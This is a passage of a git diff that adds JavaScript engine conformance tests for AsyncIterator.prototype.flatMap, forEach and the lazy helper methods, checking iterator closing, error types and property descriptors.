+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends AsyncIterator {
+ async next() {
+ throw new TestError();
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+mapped.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
new file mode 100644
index 0000000000..97a82ec0bb
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator when innerValue throws.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ ...
+ viii. Else,
+ 1. Let innerValue be IteratorValue(innerNext).
+ 2. IfAbruptCloseAsyncIterator(innerValue, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends AsyncIterator {
+ async next() {
+ return {
+ done: false,
+ get value() {
+ throw new TestError();
+ },
+ };
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+mapped.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js
new file mode 100644
index 0000000000..dbd17cb33b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+async function* inner(x) {
+ yield x;
+ yield x + 1;
+}
+
+let iter = gen().flatMap(x => inner(x));
+
+for (const v of [1, 2, 2, 3, 3, 4]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js
new file mode 100644
index 0000000000..3da588f444
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap skips empty inner iterables.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ ...
+ v. Let innerComplete be IteratorComplete(innerNext).
+ ...
+ vii. If innerComplete is true, set innerAlive to false.
+features: [iterator-helpers]
+---*/
+
+async function* gen(values) {
+ yield* values;
+}
+
+(async () => {
+ let iter = gen([0, 1, 2, 3]).flatMap(x => x % 2 ? gen([]) : gen([x]));
+
+ for (const expected of [0, 2]) {
+ const result = await iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+ }
+
+ let result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+
+ iter = gen([0, 1, 2, 3]).flatMap(x => gen([]));
+ result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js
new file mode 100644
index 0000000000..08c0dfbba7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap innerIterator can be a generator.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+features: [iterator-helpers]
+---*/
+
+async function* gen() {
+ yield 1;
+ yield 2;
+}
+
+(async () => {
+ const iter = gen().flatMap(async function*(x) {
+ yield x;
+ yield* [x + 1, x + 2];
+ });
+
+ for (const expected of [1, 2, 3, 2, 3, 4]) {
+ const result = await iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+ }
+
+ const result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js
new file mode 100644
index 0000000000..4e6862cd41
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.flatMap.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.flatMap, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js
new file mode 100644
index 0000000000..2aeebe0f85
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.flatMap.name, 'flatMap');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.flatMap, 'name');
+assertEq(propertyDescriptor.value, 'flatMap');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js
new file mode 100644
index 0000000000..e854a8c8ae
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js
@@ -0,0 +1,71 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator and throws when mapped isn't iterable.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ h. Let innerIterator be GetIterator(mapped, async).
+ i. IfAbruptCloseAsyncIterator(innerIterator, iterated).
+features: [iterator-helpers]
+---*/
+
+class NotIterable {
+ async next() {
+ return {done: true};
+ }
+}
+
+class InvalidIterable {
+ [Symbol.asyncIterator]() {
+ return {};
+ }
+}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const nonIterables = [
+ new NotIterable(),
+ new InvalidIterable(),
+ undefined,
+ null,
+ 0,
+ false,
+ Symbol(''),
+ 0n,
+ {},
+];
+
+(async () => {
+ for (const value of nonIterables) {
+ const iter = new TestIterator();
+ const mapped = iter.flatMap(x => value);
+
+ assertEq(iter.closed, false);
+ console.log("here!");
+ try {
+ await mapped.next();
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TypeError, true);
+ }
+ assertEq(iter.closed, true);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js
new file mode 100644
index 0000000000..25c4302ade
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().forEach(() => {}).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..bcf77e56d1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.forEach(1).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js
new file mode 100644
index 0000000000..8825422a28
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.forEach
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'forEach');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js
new file mode 100644
index 0000000000..32797fe750
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().forEach().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.forEach.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js
new file mode 100644
index 0000000000..c70e336bff
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {}
+
+function check(fn) {
+ gen().forEach(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ (err) => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..4e7d60412e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.forEach(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js
new file mode 100644
index 0000000000..2109be5fd6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+const fn = (value) => log.push(value);
+const iter = [1, 2, 3].values();
+
+assertEq(iter.forEach(fn), undefined);
+assertEq(log.join(','), '1,2,3');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js
new file mode 100644
index 0000000000..c8c47bde45
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).forEach(() => {}), gen(2).forEach(() => {})]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/length.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/length.js
new file mode 100644
index 0000000000..5e59af9fea
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.forEach.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.forEach, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/name.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/name.js
new file mode 100644
index 0000000000..3053c3967f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.forEach.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.forEach, 'name');
+assertEq(propDesc.value, 'forEach');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..0c72c700e2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.forEach(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js
new file mode 100644
index 0000000000..bab7a2e864
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.forEach only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.forEach(x => x).then(() => {
+ assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js
new file mode 100644
index 0000000000..c92536fbe6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+function check(x) {
+ AsyncIterator.prototype.forEach.call(x, fn).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..8611a0100f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.forEach(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js b/js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js
new file mode 100644
index 0000000000..0e5b6ac0b5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const asyncGeneratorProto = Object.getPrototypeOf(
+ Object.getPrototypeOf(
+ (async function *() {})()
+ )
+);
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => (async function*() {})()),
+];
+
+for (const method of methods) {
+ const iteratorHelper = method((async function*() {})());
+ asyncGeneratorProto.next.call(iteratorHelper).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+ asyncGeneratorProto.return.call(iteratorHelper).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+ asyncGeneratorProto.throw.call(iteratorHelper).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js b/js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js
new file mode 100644
index 0000000000..f79fb7d842
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() { yield 'value'; }
+
+const asyncIteratorHelperProto = Object.getPrototypeOf(gen().map(x => x));
+
+assertThrowsInstanceOf(() => asyncIteratorHelperProto.next.call(gen()), TypeError);
+assertThrowsInstanceOf(() => asyncIteratorHelperProto.return.call(gen()), TypeError);
+assertThrowsInstanceOf(() => asyncIteratorHelperProto.throw.call(gen()), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js
new file mode 100644
index 0000000000..8b7a945fd5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(values) {
+ yield* values;
+}
+
+const otherAsyncIteratorProto = newGlobal({newCompartment: true}).AsyncIterator.prototype;
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", x => gen([x])],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = gen([1, 2, 3]);
+ const helper = otherAsyncIteratorProto[method].call(iterator, arg);
+
+ for (const expected of [1, 2, 3]) {
+ const {done, value} = await helper.next();
+ assertEq(done, false);
+ assertEq(Array.isArray(value) ? value[1] : value, expected);
+ }
+
+ const {done, value} = await helper.next();
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+})();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js
new file mode 100644
index 0000000000..b1bd426dd8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods handle empty iterators.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class EmptyIterator extends AsyncIterator {
+ async next() {
+ return {done: true};
+ }
+}
+
+async function* gen() {}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => gen()),
+];
+
+for (const method of methods) {
+ for (const iterator of [new EmptyIterator(), gen()]) {
+ method(iterator).next().then(
+ ({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+ );
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js
new file mode 100644
index 0000000000..98c2a2b680
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js
@@ -0,0 +1,59 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% method calls can be interleaved.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ value = 0;
+ async next() {
+ return {done: false, value: this.value++};
+ }
+}
+
+function unwrapResult(value) {
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(value)) {
+ value = value[1];
+ }
+ return value;
+}
+
+function check({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(unwrapResult(value), expectedValue);
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', Infinity],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [firstMethod, firstArg] of methods) {
+ for (const [secondMethod, secondArg] of methods) {
+ const iterator = new TestIterator();
+
+ const firstHelper = iterator[firstMethod](firstArg);
+ const secondHelper = iterator[secondMethod](secondArg);
+
+ check(await firstHelper.next(), false, 0);
+ check(await secondHelper.next(), false, 1);
+ check(await firstHelper.next(), false, 2);
+ check(await secondHelper.next(), false, 3);
+ }
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
new file mode 100644
index 0000000000..1a52d113f9
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods close the iterator if callback throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+function fn() {
+ throw new TestError();
+}
+const methods = [
+ iter => iter.map(fn),
+ iter => iter.filter(fn),
+ iter => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ const iter = new TestAsyncIterator();
+ assertEq(iter.closed, false);
+ method(iter).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
new file mode 100644
index 0000000000..bec857eb33
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods close the iterator if `yield` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
